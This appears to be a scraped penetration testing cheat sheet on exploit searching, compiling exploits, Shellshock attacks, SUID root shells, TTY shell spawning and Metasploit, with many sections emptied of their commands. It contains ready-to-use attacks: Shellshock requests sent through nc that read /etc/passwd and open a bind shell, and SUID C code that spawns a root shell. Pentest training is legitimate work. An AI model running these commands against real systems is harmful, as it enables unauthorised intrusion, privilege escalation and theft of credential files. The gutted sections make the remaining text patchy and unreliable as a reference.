Notes

BOF / Exploit

Exploit Research

Find exploits for enumerated hosts / services.

Searching for Exploits

Install local copy of exploit-db:

 searchsploit –u
 searchsploit apache 2.2
 searchsploit "Linux Kernel"
 searchsploit linux 2.6 | grep -i ubuntu | grep local

Compiling Windows Exploits on Kali

  wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
  wine mingw-get-setup.exe
  select mingw32-base
  cd /root/.wine/drive_c/windows
  wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
  cd /root/.wine/drive_c/MinGW/bin
  wine gcc -o ability.exe /tmp/exploit.c -lwsock32
  wine ability.exe  

Cross Compiling Exploits

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Exploiting Common Vulnerabilities

Exploiting Shellshock

A tool to find and exploit servers vulnerable to Shellshock:

git clone https://github.com/nccgroup/shocker

./shocker.py -H TARGET  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

cat file (view file contents)

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

Shell Shock run bind shell

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

Shell Shock reverse Shell

nc -l -p 443

Simple Local Web Servers

Python local web server command, handy for serving up shells and exploits on an attacking machine.

Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

HTTP / HTTPS Webserver Enumeration

Packet Inspection

Username Enumeration

Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

SNMP User Enumeration

Passwords

Wordlists

Brute Forcing Services

Hydra FTP Brute Force

Hydra POP3 Brute Force

Hydra SMTP Brute Force

Use -t to limit concurrent connections, example: -t 15

Password Cracking

John The Ripper – JTR

Windows Penetration Testing Commands

See Windows Penetration Testing Commands.

Linux Penetration Testing Commands

See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.

Compiling Exploits

Some notes on compiling exploits.

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

Build Exploit GCC

Compile exploit gcc.

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}       

SUID C Shell for /bin/sh

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}       

Building the SUID Shell binary

gcc -o suid suid.c  

For 32 bit:

gcc -m32 -o suid suid.c  

Reverse Shells

See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell

os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi:

:!bash

Spawn TTY Shell NMAP

!sh

Metasploit

Some basic Metasploit stuff, that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see – Meterpreter Pivoting techniques.

Meterpreter Payloads

Windows reverse meterpreter payload

Windows VNC Meterpreter payload

Linux Reverse Meterpreter payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

Local Windows Metasploit Modules (exploits)

Auxilary Metasploit Modules

Metasploit Powershell Modules

Post Exploit Windows Metasploit Modules

Windows Metasploit Modules for privilege escalation.

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

CISCO IOS Commands

A collection of useful Cisco IOS commands.

Cryptography

Hash Lengths

Hash Examples

Likely just use hash-identifier for this but here are some example hashes:

SQLMap Examples